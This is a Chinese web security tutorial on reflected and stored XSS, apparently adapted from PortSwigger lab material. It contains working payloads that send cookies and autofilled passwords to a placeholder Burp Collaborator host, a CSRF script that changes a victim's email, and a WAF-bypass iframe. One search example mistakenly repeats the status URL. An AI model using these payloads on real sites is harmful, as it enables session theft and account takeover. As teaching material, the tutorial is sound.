从零开始学安全之XSS漏洞的攻击类型及利用

网安教育

培养网络安全人才

技术交流、学习咨询

跨站点脚本通过操纵易受攻击的网站来工作，以便它将恶意JavaScript返回给用户。当恶意代码在受害者的浏览器中执行时，攻击者可以完全破坏他们与应用程序的交互。

反射型XSS，其中恶意脚本来自当前HTTP请求。

存储型XSS，其中恶意脚本来自网站的数据库。

基于DOM的XSS，该漏洞存在于客户端代码而不是服务器端代码中。

反射型XSS是最简单的跨站点脚本。当应用程序在HTTP请求中接收数据并将该数据以不安全的方式包含在即时响应中时，就会出现这种情况。

简单示例：

1https://insecure-website.com/status?message=All+is+well.

响应：

1<p>Status: All is well.</p>

该应用程序不执行数据的任何其他处理，因此攻击者可以轻松地构造如下攻击：

1https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>

响应：

1<p>Status: <script>/* Bad stuff here... */</script></p>

如果用户访问由攻击者构建的URL，则攻击者的脚本将在该用户与应用程序的会话的上下文中在用户的浏览器中执行。此时，脚本可以执行用户可以访问的任何操作，并检索任何数据。

我们举一个例子：

假设网站具有搜索功能，该功能通过URL参数接收用户提供的搜索词：

1https://insecure-website.com/search?term=gift

该应用程序在对此URL的响应中回显提供的搜索词：

1<p>You searched for: gift</p>

假设应用程序不对数据进行任何其他处理，则攻击者可以进行如下攻击：

1https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>

该URL导致以下响应：

1<p>You searched for: <script>/* Bad stuff here... */</script></p>

反射型XSS影响

在用户可以执行的应用程序中执行任何操作。

查看用户能够查看的任何信息。

修改用户能够修改的任何信息。

启动与其他应用程序用户的交互，包括恶意攻击，这些交互似乎源自最初的受害者用户。

漏洞利用

证明已发现跨站点脚本漏洞的传统方法是使用alert()功能创建弹出窗口。这不是因为XSS与弹出窗口有关。这只是证明您可以在给定域上执行任意JavaScript的一种方式。您可能会注意到有些人在使用alert(document.domain)。这是一种使JavaScript明确在哪个域上执行的方法。

01）利用跨站点脚本窃取Cookie

窃取cookie是利用XSS的传统方式。大多数Web应用程序使用cookie进行会话处理。您可以利用跨站点脚本漏洞将受害者的Cookie发送到您自己的域，然后将Cookie手动注入浏览器并模拟受害者。

实际上，此方法有一些重大限制：

受害者可能未登录。

许多应用程序使用该HttpOnly标志从JavaScript隐藏其cookie 。

会话可能被锁定到其他因素，例如用户的IP地址。

在您可以劫持会话之前，会话可能会超时。

这里我们需要用到Burp Collaborator ，下面放一篇链接：

https://blog.csdn.net/fageweiketang/article/details/89073662

1<script>
2fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {
3method: 'POST',
4mode: 'no-cors',
5body:document.cookie
6});
7</script>

02）利用跨站点脚本捕获密码

如今，许多用户都拥有可以自动填写其密码的密码管理器。您可以通过创建密码输入，读取自动填充的密码并将其发送到您自己的域来利用。这种技术避免了大多数与窃取Cookie有关的问题，甚至可以访问受害人重复使用相同密码的每个其他帐户。

此技术的主要缺点是，它仅适用于具有执行密码自动填充的密码管理器的用户。（当然，如果用户没有保存密码，您仍然可以尝试通过现场网络钓鱼攻击来获取其密码，但这并不完全相同。）

1<input name=username id=username>
2<input type=password name=password
3onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
4method:'POST',
5mode: 'no-cors',
6body:username.value+':'+this.value
7});">

03）利用跨站点脚本执行CSRF

合法用户可以在网站上执行的任何操作，您可能也可以使用XSS进行。根据您所针对的站点，您可能能够使受害者发送消息，接受朋友请求，向源代码存储库提交后门或转移一些比特币。

某些网站允许已登录的用户更改其电子邮件地址，而无需重新输入密码。如果发现了XSS漏洞，则可以使其触发此功能，以将受害者的电子邮件地址更改为您控制的电子邮件地址，然后触发密码重置以访问该帐户。

这种类型的利用通常称为跨站点请求伪造（CSRF），由于CSRF也可能作为独立漏洞出现，因此有点混乱。当CSRF作为独立漏洞出现时，可以使用反CSRF令牌等策略对其进行修补。但是，如果还存在XSS漏洞，则这些策略不能提供任何保护。

 1<script>
 2var req = new XMLHttpRequest();
 3req.onload = handleResponse;
 4//onload：开启一个事件监听，是请求成功时要完成的函数
 5//此处的请求时下面open和send的请求
 6req.open('get','/email',true);
 7req.send();
 8function handleResponse() {
 9    var token = this.responseText.match(/name="csrf" value="(w+)"/)[1];
10    var changeReq = new XMLHttpRequest();
11    changeReq.open('post', '/email/change-email', true);
12    changeReq.send('csrf='+token+'&[email protected]')
13};
14</script>

04）当服务器设置waf阻拦大多数标签时的反射型xss

选择可能存在xss漏洞的地方进行爆破

比如这里

我们选择事件字典进行爆破

发现只有body标签返回200

然后测试事件

这里注意要用%20代替空格

然后我们在后面写上=1

爆破得到

这里我们就可以转到漏洞服务器粘贴相对应代码：

1<iframe src="https://your-lab-id.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=alert(document.cookie)%3E" onload=this.style.width='100px'>

当应用程序从不可信来源接收数据并将该数据以不安全的方式包含在其以后的HTTP响应中时，就会出现存储的XSS（也称为持久XSS）。

有问题的数据可以通过HTTP请求提交给应用程序；例如，对博客帖子的评论，聊天室中的用户昵称或客户订单上的联系方式。在其他情况下，数据可能来自其他不受信任的来源；例如，显示通过SMTP接收的消息的Webmail应用程序，显示社交媒体帖子的营销应用程序或显示来自网络流量的数据包数据的网络监视应用程序。

这是一个存储的XSS漏洞的简单示例。留言板应用程序使用户可以提交消息，并显示给其他用户：

Hello, this is my message!

该应用程序不执行数据的任何其他处理，因此攻击者可以轻松发送一条攻击其他用户的消息：

比如说：

假设一个网站允许用户提交有关博客文章的评论，这些评论显示给其他用户。用户使用HTTP请求提交评论，如下所示：

1POST /post/comment HTTP/1.1
2Host: vulnerable-website.com
3Content-Length: 100
4
5postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net    

提交此评论后，访问博客文章的任何用户都将在应用程序的响应中收到以下内容：

1<p>This post was extremely helpful.</p>

假设应用程序不执行任何其他数据处理，则攻击者可以提交如下恶意评论：

1<script>/* Bad stuff here... */</script>

在攻击者的请求内，此注释将被URL编码为：

1comment=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript%3E

现在，访问博客文章的任何用户都将在应用程序的响应中收到以下内容：

1<p><script>/* Bad stuff here... */</script></p>

然后，攻击者提供的脚本将在受害用户与应用程序会话的上下文中在受害用户的浏览器中执行。

存储型xss漏洞影响

如果攻击者可以控制在受害者浏览器中执行的脚本，那么他们通常可以完全破坏该用户。攻击者可以执行适用于所反映的XSS漏洞影响的任何操作。

在可利用性方面，反映的XSS与存储的XSS之间的主要区别在于，存储的XSS漏洞使应用程序自身可以独立进行攻击。攻击者无需寻找诱使其他用户发出包含其利用的特定请求的外部方法。而是，攻击者将其利用程序放入应用程序本身，并仅等待用户遇到它。

在XSS漏洞仅影响当前登录到该应用程序的用户的情况下，存储的跨站点脚本漏洞利用的自包含特性尤其重要。如果反映了XSS，则攻击的时机必须是偶然的：诱使在未登录时提出攻击者请求的用户不会受到威胁。相反，如果存储了XSS，则可以确保用户在遇到漏洞利用时便已登录。

未完待续。。。